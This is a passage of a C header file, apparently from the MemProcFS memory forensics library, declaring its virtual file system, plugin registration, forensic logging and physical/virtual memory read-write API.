((NTSTATUS)0xC0000011L)\n#define VMMDLL_STATUS_FILE_INVALID                  ((NTSTATUS)0xC0000098L)\n#define VMMDLL_STATUS_FILE_SYSTEM_LIMITATION        ((NTSTATUS)0xC0000427L)\n\n#define VMMDLL_VFS_FILELIST_EXINFO_VERSION          1\n#define VMMDLL_VFS_FILELIST_VERSION                 2\n#define VMMDLL_VFS_FILELISTBLOB_VERSION             0xf88f0001\n\ntypedef struct tdVMMDLL_VFS_FILELIST_EXINFO {\n    DWORD dwVersion;\n    BOOL fCompressed;                   // set flag FILE_ATTRIBUTE_COMPRESSED - (no meaning but shows gui artifact in explorer.exe)\n    union {\n        FILETIME ftCreationTime;        // 0 = default time\n        QWORD qwCreationTime;\n    };\n    union {\n        FILETIME ftLastAccessTime;      // 0 = default time\n        QWORD qwLastAccessTime;\n    };\n    union {\n        FILETIME ftLastWriteTime;       // 0 = default time\n        QWORD qwLastWriteTime;\n    };\n} VMMDLL_VFS_FILELIST_EXINFO, *PVMMDLL_VFS_FILELIST_EXINFO;\n\ntypedef struct tdVMMDLL_VFS_FILELIST2 {\n    DWORD dwVersion;\n    VOID(*pfnAddFile)     (_Inout_ HANDLE h, _In_ LPCSTR uszName, _In_ ULONG64 cb, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo);\n    VOID(*pfnAddDirectory)(_Inout_ HANDLE h, _In_ LPCSTR uszName, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo);\n    HANDLE h;\n} VMMDLL_VFS_FILELIST2, *PVMMDLL_VFS_FILELIST2;\n\ntypedef struct tdVMMDLL_VFS_FILELISTBLOB_ENTRY {\n    ULONG64 ouszName;                       // byte offset to string from VMMDLL_VFS_FILELISTBLOB.uszMultiText\n    ULONG64 cbFileSize;                     // -1 == directory\n    VMMDLL_VFS_FILELIST_EXINFO ExInfo;      // optional ExInfo\n} VMMDLL_VFS_FILELISTBLOB_ENTRY, *PVMMDLL_VFS_FILELISTBLOB_ENTRY;\n\ntypedef struct tdVMMDLL_VFS_FILELISTBLOB {\n    DWORD dwVersion;                        // VMMDLL_VFS_FILELISTBLOB_VERSION\n    DWORD cbStruct;\n    DWORD cFileEntry;\n    DWORD cbMultiText;\n    union {\n        LPSTR uszMultiText;\n        QWORD _Reserved;\n    };\n    DWORD _FutureUse[8];\n    VMMDLL_VFS_FILELISTBLOB_ENTRY FileEntry[0];\n} VMMDLL_VFS_FILELISTBLOB, *PVMMDLL_VFS_FILELISTBLOB;\n\n/*\n* Helper functions for callbacks into the VMM_VFS_FILELIST2 structure.\n*/\nEXPORTED_FUNCTION\nVOID VMMDLL_VfsList_AddFile(_In_ HANDLE pFileList, _In_ LPCSTR uszName, _In_ ULONG64 cb, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo);\nVOID VMMDLL_VfsList_AddFileW(_In_ HANDLE pFileList, _In_ LPCWSTR wszName, _In_ ULONG64 cb, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo);\nEXPORTED_FUNCTION\nVOID VMMDLL_VfsList_AddDirectory(_In_ HANDLE pFileList, _In_ LPCSTR uszName, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo);\nVOID VMMDLL_VfsList_AddDirectoryW(_In_ HANDLE pFileList, _In_ LPCWSTR wszName, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo);\nEXPORTED_FUNCTION BOOL VMMDLL_VfsList_IsHandleValid(_In_ HANDLE pFileList);\n\n/*\n* List a directory of files in MemProcFS. Directories and files will be listed\n* by callbacks into functions supplied in the pFileList parameter.\n* If information of an individual file is needed it's neccessary to list all\n* files in its directory.\n* -- hVMM\n* -- [uw]szPath\n* -- pFileList\n* -- return\n*/\nEXPORTED_FUNCTION\n_Success_(return) BOOL VMMDLL_VfsListU(_In_ VMM_HANDLE hVMM, _In_ LPCSTR  uszPath, _Inout_ PVMMDLL_VFS_FILELIST2 pFileList);\n_Success_(return) BOOL VMMDLL_VfsListW(_In_ VMM_HANDLE hVMM, _In_ LPCWSTR wszPath, _Inout_ PVMMDLL_VFS_FILELIST2 pFileList);\n\n/*\n* List a directory of files in MemProcFS and return a VMMDLL_VFS_FILELISTBLOB.\n* CALLER FREE: VMMDLL_MemFree(return)\n* -- hVMM\n* -- uszPath\n* -- return\n*/\nEXPORTED_FUNCTION\n_Success_(return != NULL) PVMMDLL_VFS_FILELISTBLOB VMMDLL_VfsListBlobU(_In_ VMM_HANDLE hVMM, _In_ LPCSTR uszPath);\n\n/*\n* Read select parts of a file in MemProcFS.\n* -- hVMM\n* -- [uw]szFileName\n* -- pb\n* -- cb\n* -- pcbRead\n* -- cbOffset\n* -- return\n*\n*/\nEXPORTED_FUNCTION\nNTSTATUS VMMDLL_VfsReadU(_In_ VMM_HANDLE hVMM, _In_ LPCSTR  uszFileName, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset);\nNTSTATUS VMMDLL_VfsReadW(_In_ VMM_HANDLE hVMM, _In_ LPCWSTR wszFileName, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset);\n\n/*\n* Write select parts to a file in MemProcFS.\n* -- hVMM\n* -- [uw]szFileName\n* -- pb\n* -- cb\n* -- pcbWrite\n* -- cbOffset\n* -- return\n*/\nEXPORTED_FUNCTION\nNTSTATUS VMMDLL_VfsWriteU(_In_ VMM_HANDLE hVMM, _In_ LPCSTR  uszFileName, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset);\nNTSTATUS VMMDLL_VfsWriteW(_In_ VMM_HANDLE hVMM, _In_ LPCWSTR wszFileName, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset);\n\n/*\n* Utility functions for MemProcFS read/write towards different underlying data\n* representations.\n*/\nEXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsReadFile_FromPBYTE(_In_ PBYTE pbFile, _In_ ULONG64 cbFile, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset);\nEXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsReadFile_FromQWORD(_In_ ULONG64 qwValue, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset, _In_ BOOL fPrefix);\nEXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsReadFile_FromDWORD(_In_ DWORD dwValue, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset, _In_ BOOL fPrefix);\nEXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsReadFile_FromBOOL(_In_ BOOL fValue, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset);\nEXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsWriteFile_BOOL(_Inout_ PBOOL pfTarget, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset);\nEXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsWriteFile_DWORD(_Inout_ PDWORD pdwTarget, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset, _In_ DWORD dwMinAllow);\n\n\n\n//-----------------------------------------------------------------------------\n// PLUGIN MANAGER FUNCTIONALITY BELOW:\n// Function and structures to initialize and use MemProcFS plugin functionality.\n// The plugin manager is started by a call to function:\n// VMM_VfsInitializePlugins. Each built-in plugin and external plugin of which\n// the DLL name matches m_*.dll will receive a call to its InitializeVmmPlugin\n// function. The plugin/module may decide to call pfnPluginManager_Register to\n// register plugins in the form of different names one or more times.\n// Example of registration function in a plugin DLL below: \n// 'VOID InitializeVmmPlugin(_In_ VMM_HANDLE H, _In_ PVMM_PLUGIN_REGINFO pRegInfo)'\n//-----------------------------------------------------------------------------\n\n/*\n* Initialize all potential plugins, both built-in and external, that maps into\n* MemProcFS. Please note that plugins are not loaded by default - they have to\n* be explicitly loaded by calling this function. They will be unloaded on a\n* general close of the vmm dll.\n* -- hVMM\n* -- return\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_InitializePlugins(_In_ VMM_HANDLE hVMM);\n\n#define VMMDLL_PLUGIN_CONTEXT_MAGIC                 0xc0ffee663df9301c\n#define VMMDLL_PLUGIN_CONTEXT_VERSION               5\n#define VMMDLL_PLUGIN_REGINFO_MAGIC                 0xc0ffee663df9301d\n#define VMMDLL_PLUGIN_REGINFO_VERSION               18\n#define VMMDLL_FORENSIC_JSONDATA_VERSION            0xc0ee0002\n#define VMMDLL_FORENSIC_INGEST_VIRTMEM_VERSION      0xc0dd0001\n#define VMMDLL_FORENSIC_INGEST_OBJECT_VERSION       0xc0de0001\n\n#define VMMDLL_PLUGIN_NOTIFY_VERBOSITYCHANGE        0x01\n#define VMMDLL_PLUGIN_NOTIFY_REFRESH_FAST           0x05    // refresh fast event   - at partial process refresh.\n#define VMMDLL_PLUGIN_NOTIFY_REFRESH_MEDIUM         0x02    // refresh medium event - at full process refresh.\n#define VMMDLL_PLUGIN_NOTIFY_REFRESH_SLOW           0x04    // refresh slow event   - at registry refresh.\n\n#define VMMDLL_PLUGIN_NOTIFY_FORENSIC_INIT          0x01000100\n#define VMMDLL_PLUGIN_NOTIFY_FORENSIC_INIT_COMPLETE 0x01000200\n#define VMMDLL_PLUGIN_NOTIFY_VM_ATTACH_DETACH       0x01000400\n\ntypedef DWORD                                       VMMDLL_MODULE_ID;\ntypedef HANDLE                                      *PVMMDLL_PLUGIN_INTERNAL_CONTEXT;\ntypedef struct tdVMMDLL_CSV_HANDLE                  *VMMDLL_CSV_HANDLE;\n\n#define VMMDLL_MID_MAIN                             ((VMMDLL_MODULE_ID)0x80000001)\n#define VMMDLL_MID_PYTHON                           ((VMMDLL_MODULE_ID)0x80000002)\n#define VMMDLL_MID_DEBUG                            ((VMMDLL_MODULE_ID)0x80000003)\n#define VMMDLL_MID_RUST                             ((VMMDLL_MODULE_ID)0x80000004)\n\ntypedef struct tdVMMDLL_PLUGIN_CONTEXT {\n    ULONG64 magic;\n    WORD wVersion;\n    WORD wSize;\n    DWORD dwPID;\n    PVOID pProcess;\n    LPSTR uszModule;\n    LPSTR uszPath;\n    PVOID pvReserved1;\n    PVMMDLL_PLUGIN_INTERNAL_CONTEXT ctxM;       // optional internal module context.\n    VMMDLL_MODULE_ID MID;\n} VMMDLL_PLUGIN_CONTEXT, *PVMMDLL_PLUGIN_CONTEXT;\n\ntypedef struct tdVMMDLL_FORENSIC_JSONDATA {\n    DWORD dwVersion;        // must equal VMMDLL_FORENSIC_JSONDATA_VERSION\n    DWORD _FutureUse;\n    LPSTR szjType;          // log type/name (json encoded)\n    DWORD i;\n    DWORD dwPID;\n    QWORD vaObj;\n    BOOL fva[2];            // log va even if zero\n    QWORD va[2];\n    BOOL fNum[2];           // log num even if zero\n    QWORD qwNum[2];\n    BOOL fHex[2];           // log hex even if zero\n    QWORD qwHex[2];\n    // str: will be prioritized in order: szu > wsz.\n    LPCSTR usz[2];          // str: utf-8 encoded\n    LPCWSTR wsz[2];         // str: wide\n    BYTE _Reserved[0x4000+256];\n} VMMDLL_FORENSIC_JSONDATA, *PVMMDLL_FORENSIC_JSONDATA;\n\ntypedef enum tdVMMDLL_FORENSIC_INGEST_OBJECT_TYPE {\n    VMMDLL_FORENSIC_INGEST_OBJECT_TYPE_FILE = 1,\n} VMMDLL_FORENSIC_INGEST_OBJECT_TYPE;\n\ntypedef struct tdVMMDLL_FORENSIC_INGEST_OBJECT {\n    OPAQUE_OB_HEADER _Reserved;\n    DWORD dwVersion;        // must equal VMMDLL_FORENSIC_INGEST_OBJECT_VERSION\n    VMMDLL_FORENSIC_INGEST_OBJECT_TYPE tp;\n    QWORD vaObject;\n    LPSTR uszText;\n    PBYTE pb;\n    DWORD cb;\n    DWORD cbReadActual;     // actual bytes read (may be spread out in pb)\n} VMMDLL_FORENSIC_INGEST_OBJECT, *PVMMDLL_FORENSIC_INGEST_OBJECT;\n\ntypedef struct tdVMMDLL_FORENSIC_INGEST_PHYSMEM {\n    BOOL fValid;\n    QWORD pa;\n    DWORD cb;\n    PBYTE pb;\n    DWORD cMEMs;\n    PPMEM_SCATTER ppMEMs;\n    PVMMDLL_MAP_PFN pPfnMap;\n} VMMDLL_FORENSIC_INGEST_PHYSMEM, *PVMMDLL_FORENSIC_INGEST_PHYSMEM;\n\ntypedef struct tdVMMDLL_FORENSIC_INGEST_VIRTMEM {\n    OPAQUE_OB_HEADER _Reserved;\n    DWORD dwVersion;        // must equal VMMDLL_FORENSIC_INGEST_VIRTMEM_VERSION\n    BOOL fPte;\n    BOOL fVad;\n    PVOID pvProcess;\n    DWORD dwPID;\n    QWORD va;\n    PBYTE pb;\n    DWORD cb;\n    DWORD cbReadActual;     // actual bytes read (may be spread out in pb)\n} VMMDLL_FORENSIC_INGEST_VIRTMEM, *PVMMDLL_FORENSIC_INGEST_VIRTMEM;\n\ntypedef struct tdVMMDLL_PLUGIN_REGINFO {\n    ULONG64 magic;                          // VMMDLL_PLUGIN_REGINFO_MAGIC\n    WORD wVersion;                          // VMMDLL_PLUGIN_REGINFO_VERSION\n    WORD wSize;                             // size of struct\n    VMMDLL_MEMORYMODEL_TP tpMemoryModel;\n    VMMDLL_SYSTEM_TP tpSystem;\n    HMODULE hDLL;\n    BOOL(*pfnPluginManager_Register)(_In_ VMM_HANDLE H, struct tdVMMDLL_PLUGIN_REGINFO *pPluginRegInfo);\n    LPSTR uszPathVmmDLL;\n    DWORD _Reserved[30];\n    // python plugin information - not for general use\n    struct {\n        BOOL fPythonStandalone;\n        DWORD _Reserved;\n        HMODULE hReservedDllPython3;\n        HMODULE hReservedDllPython3X;\n    } python;\n    // general plugin registration info to be filled out by the plugin below:\n    struct {\n        PVMMDLL_PLUGIN_INTERNAL_CONTEXT ctxM;   // optional internal module context [must be cleaned by pfnClose() call].\n        CHAR uszPathName[128];\n        BOOL fRootModule;\n        BOOL fProcessModule;\n        BOOL fRootModuleHidden;\n        BOOL fProcessModuleHidden;\n        CHAR sTimelineNameShort[6];\n        CHAR _Reserved[2];\n        CHAR uszTimelineFile[32];\n        CHAR _Reserved2[32];\n    } reg_info;\n    // function plugin registration info to be filled out by the plugin below:\n    struct {\n        BOOL(*pfnList)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _Inout_ PHANDLE pFileList);\n        NTSTATUS(*pfnRead)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead,  _In_ ULONG64 cbOffset);\n        NTSTATUS(*pfnWrite)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset);\n        VOID(*pfnNotify)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _In_ DWORD fEvent, _In_opt_ PVOID pvEvent, _In_opt_ DWORD cbEvent);\n        VOID(*pfnClose)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP);\n        BOOL(*pfnVisibleModule)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP);\n        PVOID pvReserved[10];\n    } reg_fn;\n    // Optional forensic plugin functionality for forensic (more comprehensive)\n    // analysis of various data. Functions are optional.\n    // Functions are called in the below order and way.\n    // 1: pfnInitialize()            - multi-threaded (between plugins).\n    // 2: (multiple types see below) - multi-threaded (between plugins).\n    //    pfnLogCSV()\n    //    pfnLogJSON()\n    //    pfnFindEvil()\n    //    pfnIngestPhysmem()\n    //    pfnIngestVirtmem()\n    // 3. pfnIngestFinalize()        - single-threaded. (pfnLogCSV/pfnLogJSON/pfnFindEvil may still be active).\n    // 4. pfnTimeline()              - single-threaded. (pfnLogCSV/pfnLogJSON/pfnFindEvil may still be active).\n    // 5. pfnFinalize()              - single-threaded.\n    struct {\n        PVOID(*pfnInitialize)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP);\n        VOID(*pfnFinalize)(_In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc);\n        VOID(*pfnTimeline)(\n            _In_ VMM_HANDLE H,\n            _In_opt_ PVOID ctxfc,\n            _In_ HANDLE hTimeline,\n            _In_ VOID(*pfnAddEntry)(_In_ VMM_HANDLE H, _In_ HANDLE hTimeline, _In_ QWORD ft, _In_ DWORD dwAction, _In_ DWORD dwPID, _In_ DWORD dwData32, _In_ QWORD qwData64, _In_ LPCSTR uszText),\n            _In_ VOID(*pfnEntryAddBySql)(_In_ VMM_HANDLE H, _In_ HANDLE hTimeline, _In_ DWORD cEntrySql, _In_ LPCSTR *pszEntrySql));\n        VOID(*pfnIngestObject)(_In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc, _In_ PVMMDLL_FORENSIC_INGEST_OBJECT pIngestObject);\n        VOID(*pfnIngestPhysmem)(_In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc, _In_ PVMMDLL_FORENSIC_INGEST_PHYSMEM pIngestPhysmem);\n        VOID(*pfnIngestVirtmem)(_In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc, _In_ PVMMDLL_FORENSIC_INGEST_VIRTMEM pIngestVirtmem);\n        VOID(*pfnIngestFinalize)(_In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc);\n        VOID(*pfnFindEvil)(_In_ VMM_HANDLE H, _In_ VMMDLL_MODULE_ID MID, _In_opt_ PVOID ctxfc);\n        PVOID pvReserved[6];\n        VOID(*pfnLogCSV)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _In_ VMMDLL_CSV_HANDLE hCSV);\n        VOID(*pfnLogJSON)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _In_ VOID(*pfnLogJSON)(_In_ VMM_HANDLE H, _In_ PVMMDLL_FORENSIC_JSONDATA pData));\n    } reg_fnfc;\n    // Additional system information - read/only by the plugins.\n    struct {\n        BOOL f32;\n        DWORD dwVersionMajor;\n        DWORD dwVersionMinor;\n        DWORD dwVersionBuild;\n        DWORD _Reserved[32];\n    } sysinfo;\n} VMMDLL_PLUGIN_REGINFO, *PVMMDLL_PLUGIN_REGINFO;\n\n\n\n//-----------------------------------------------------------------------------\n// FORENSIC-MODE SPECIFIC FUNCTIONALITY BELOW:\n//-----------------------------------------------------------------------------\n\n/*\n* Append text data to a memory-backed forensics file.\n* All text should be UTF-8 encoded.\n* -- H\n* -- uszFileName\n* -- uszFormat\n* -- ..\n* -- return = number of bytes appended (excluding terminating null).\n*/\nEXPORTED_FUNCTION _Success_(return != 0)\nSIZE_T VMMDLL_ForensicFileAppend(\n    _In_ VMM_HANDLE H,\n    _In_ LPCSTR uszFileName,\n    _In_z_ _Printf_format_string_ LPCSTR uszFormat,\n    ...\n);\n\n\n\n//-----------------------------------------------------------------------------\n// VMM LOG FUNCTIONALITY BELOW:\n// It's possible for external code (primarily external plugins) to make use of\n// the MemProcFS logging system.\n// ----------------------------------------------------------------------------\n\ntypedef enum tdVMMDLL_LOGLEVEL {\n    VMMDLL_LOGLEVEL_CRITICAL = 1,  // critical stopping error\n    VMMDLL_LOGLEVEL_WARNING  = 2,  // severe warning error\n    VMMDLL_LOGLEVEL_INFO     = 3,  // normal/info message\n    VMMDLL_LOGLEVEL_VERBOSE  = 4,  // verbose message (visible with -v)\n    VMMDLL_LOGLEVEL_DEBUG    = 5,  // debug message (visible with -vv)\n    VMMDLL_LOGLEVEL_TRACE    = 6,  // trace message\n    VMMDLL_LOGLEVEL_NONE     = 7,  // do not use!\n} VMMDLL_LOGLEVEL;\n\n/*\n* Log a message using the internal MemProcFS vmm logging system. Log messages\n* will be displayed/suppressed depending on current logging configuration.\n* -- hVMM\n* -- MID = module id supplied by plugin context PVMMDLL_PLUGIN_CONTEXT or\n*          id given by VMMDLL_MID_*.\n* -- dwLogLevel\n* -- uszFormat\n* -- ...\n*/\nEXPORTED_FUNCTION\nVOID VMMDLL_Log(\n    _In_ VMM_HANDLE hVMM,\n    _In_opt_ VMMDLL_MODULE_ID MID,\n    _In_ VMMDLL_LOGLEVEL dwLogLevel,\n    _In_z_ _Printf_format_string_ LPCSTR uszFormat,\n    ...\n);\n\n/*\n* Log a message using the internal MemProcFS vmm logging system. Log messages\n* will be displayed/suppressed depending on current logging configuration.\n* -- hVMM\n* -- MID = module id supplied by plugin context PVMMDLL_PLUGIN_CONTEXT or\n*          id given by VMMDLL_MID_*.\n* -- dwLogLevel\n* -- uszFormat\n* -- arglist\n*/\nEXPORTED_FUNCTION\nVOID VMMDLL_LogEx(\n    _In_ VMM_HANDLE hVMM,\n    _In_opt_ VMMDLL_MODULE_ID MID,\n    _In_ VMMDLL_LOGLEVEL dwLogLevel,\n    _In_z_ _Printf_format_string_ LPCSTR uszFormat,\n    va_list arglist\n);\n\n/*\n* Log callback function.\n* -- hVMM\n* -- MID = module id.\n* -- uszModule = module name.\n* -- dwLogLevel\n* -- uszLogMessage = log message in utf-8.\n*/\ntypedef VOID(*VMMDLL_LOG_CALLBACK_PFN)(_In_ VMM_HANDLE hVMM, _In_ VMMDLL_MODULE_ID MID, _In_ LPCSTR uszModule, _In_ VMMDLL_LOGLEVEL dwLogLevel, _In_ LPCSTR uszLogMessage);\n\n/*\n* Register or unregister an optional log callback function.\n* When vmm logs an action which is visible according to current logging\n* configuration the registered callback function will be called with details.\n* To clear an already registered callback function specify NULL as pfnCB.\n* Callback logging will follow file logging configuration even if no log file\n* is specified when a callback function is registered.\n* -- hVMM\n* -- pfnCB\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_LogCallback(_In_ VMM_HANDLE hVMM, _In_opt_ VMMDLL_LOG_CALLBACK_PFN pfnCB);\n\n\n\n//-----------------------------------------------------------------------------\n// VMM CORE FUNCTIONALITY BELOW:\n// Vmm core functaionlity such as read (and write) to both virtual and physical\n// memory. NB! writing will only work if the target is supported - i.e. not a\n// memory dump file...\n// To read physical memory specify dwPID as (DWORD)-1\n//-----------------------------------------------------------------------------\n\n#define VMMDLL_PID_PROCESS_WITH_KERNELMEMORY        0x80000000      // Combine with dwPID to enable process kernel memory (NB! use with extreme care).\n\n// FLAG used to supress the default read cache in calls to VMM_MemReadEx()\n// which will lead to the read being fetched from the target system always.\n// Cached page tables (used for translating virtual2physical) are still used.\n#define VMMDLL_FLAG_NOCACHE                         0x0001  // do not use the data cache (force reading from memory acquisition device)\n#define VMMDLL_FLAG_ZEROPAD_ON_FAIL                 0x0002  // zero pad failed physical memory reads and report success if read within range of physical memory.\n#define VMMDLL_FLAG_FORCECACHE_READ                 0x0008  // force use of cache - fail non-cached pages - only valid for reads, invalid with VMM_FLAG_NOCACHE/VMM_FLAG_ZEROPAD_ON_FAIL.\n#define VMMDLL_FLAG_NOPAGING                        0x0010  // do not try to retrieve memory from paged out memory from pagefile/compressed (even if possible)\n#define VMMDLL_FLAG_NOPAGING_IO                     0x0020  // do not try to retrieve memory from paged out memory if read would incur additional I/O (even if possible).\n#define VMMDLL_FLAG_NOCACHEPUT                      0x0100  // do not write back to the data cache upon successful read from memory acquisition device.\n#define VMMDLL_FLAG_CACHE_RECENT_ONLY               0x0200  // only fetch from the most recent active cache region when reading.\n#define VMMDLL_FLAG_NO_PREDICTIVE_READ              0x0400  // (deprecated/unused).\n#define VMMDLL_FLAG_FORCECACHE_READ_DISABLE         0x0800  // disable/override any use of VMMDLL_FLAG_FORCECACHE_READ. only recommended for local files. improves forensic artifact order.\n#define VMMDLL_FLAG_SCATTER_PREPAREEX_NOMEMZERO     0x1000  // do not zero out the memory buffer when preparing a scatter read.\n#define VMMDLL_FLAG_NOMEMCALLBACK                   0x2000  // do not call user-set memory callback functions when reading memory (even if active).\n#define VMMDLL_FLAG_SCATTER_FORCE_PAGEREAD          0x4000  // force page-sized reads when using scatter functionality.\n\n/*\n* Read memory in various non-contigious locations specified by the pointers to\n* the items in the ppMEMs array. Result for each unit of work will be given\n* individually. No upper limit of number of items to read, but no performance\n* boost will be given if above hardware limit. Max size of each unit of work is\n* one 4k page (4096 bytes). Reads must not cross 4k page boundaries. Reads must\n* start at even DWORDs (4-bytes).\n* -- hVMM\n* -- dwPID - PID of target process, (DWORD)-1 to read physical memory.\n* -- ppMEMs = array of scatter read headers.\n* -- cpMEMs = count of ppMEMs.\n* -- flags = optional flags as given by VMMDLL_FLAG_*\n* -- return = the number of successfully read items.\n*/\nEXPORTED_FUNCTION\nDWORD VMMDLL_MemReadScatter(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Inout_ PPMEM_SCATTER ppMEMs, _In_ DWORD cpMEMs, _In_ DWORD flags);\n\n/*\n* Write memory in various non-contigious locations specified by the pointers to\n* the items in the ppMEMs array. Result for each unit of work will be given\n* individually. No upper limit of number of items to write Max size of each\n* unit of work is one 4k page (4096 bytes). Writes must not cross 4k page boundaries.\n* -- hVMM\n* -- dwPID - PID of target process, (DWORD)-1 to write physical memory.\n* -- ppMEMs = array of scatter read headers.\n* -- cpMEMs = count of ppMEMs.\n* -- return = the number of hopefully successfully written items.\n*/\nEXPORTED_FUNCTION\nDWORD VMMDLL_MemWriteScatter(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Inout_ PPMEM_SCATTER ppMEMs, _In_ DWORD cpMEMs);\n\n/*\n* Read a single 4096-byte page of memory.\n* -- hVMM\n* -- dwPID - PID of target process, (DWORD)-1 to read physical memory.\n* -- qwA\n* -- pbPage\n* -- return = success/fail (depending if all requested bytes are read or not).\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_MemReadPage(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ ULONG64 qwA, _Inout_bytecount_(4096) PBYTE pbPage);\n\n/*\n* Read a contigious arbitrary amount of memory.\n* -- hVMM\n* -- dwPID - PID of target process, (DWORD)-1 to read physical memory.\n* -- qwA\n* -- pb\n* -- cb\n* -- return = success/fail (depending if all requested bytes are read or not).\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_MemRead(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ ULONG64 qwA, _Out_writes_(cb) PBYTE pb, _In_ DWORD cb);\n\n/*\n* Read a contigious amount of memory and report the number of bytes read in pcbRead.\n* -- hVMM\n* -- dwPID - PID of target process, (DWORD)-1 to read physical memory.\n* -- qwA\n* -- pb\n* -- cb\n* -- pcbRead\n* -- flags = flags as in VMMDLL_FLAG_*\n* -- return = success/fail. NB! reads may report as success even if 0 bytes are\n*        read - it's recommended to verify pcbReadOpt parameter.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_MemReadEx(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ ULONG64 qwA, _Out_writes_(cb) PBYTE pb, _In_ DWORD cb, _Out_opt_ PDWORD pcbReadOpt, _In_ ULONG64 flags);\n\n/*\n* Prefetch a number of addresses (specified in the pA array) into the memory\n* cache. This function is to be used to batch larger known reads into local\n* cache before making multiple smaller reads - which will then happen from\n* the cache. Function exists for performance reasons.\n* -- hVMM\n* -- dwPID = PID of target process, (DWORD)-1 for physical memory.\n* -- pPrefetchAddresses = array of addresses to read into cache.\n* -- cPrefetchAddresses\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_MemPrefetchPages(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_reads_(cPrefetchAddresses) PULONG64 pPrefetchAddresses, _In_ DWORD cPrefetchAddresses);\n\n/*\n* Write a contigious arbitrary amount of memory. Please note some virtual memory\n* such as pages of executables (such as DLLs) may be shared between different\n* virtual memory over different processes. As an example a write to kernel32.dll\n* in one process is likely to affect kernel32 in the whole system - in all\n* processes. Heaps and Stacks and other memory are usually safe to write to.\n* Please take care when writing to memory!\n* -- hVMM\n* -- dwPID = PID of target process, (DWORD)-1 to read physical memory.\n* -- qwA\n* -- pb\n* -- cb\n* -- return = TRUE on success, FALSE on partial or zero write.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_MemWrite(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ ULONG64 qwA, _In_reads_(cb) PBYTE pb, _In_ DWORD cb);\n\n/*\n* Translate a virtual address to a physical address by walking the page tables\n* of the specified process.\n* -- hVMM\n* -- dwPID\n* -- qwVA\n* -- pqwPA\n* -- return = success/fail.\n*/\nEXPORTED_FUNCTION _Success_(return)\nBOOL VMMDLL_MemVirt2Phys(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ ULONG64 qwVA, _Out_ PULONG64 pqwPA);\n\n\n\n//-----------------------------------------------------------------------------\n// SIMPLIFIED EASIER TO USE READ SCATTER MEMORY FUNCTIONALITY BELOW:\n// The flow is as following:\n// 1. Call VMMDLL_Scatter_Initialize to initialize handle.\n// 2. Populate memory ranges with multiple calls to VMMDLL_Scatter_Prepare\n//    and/or 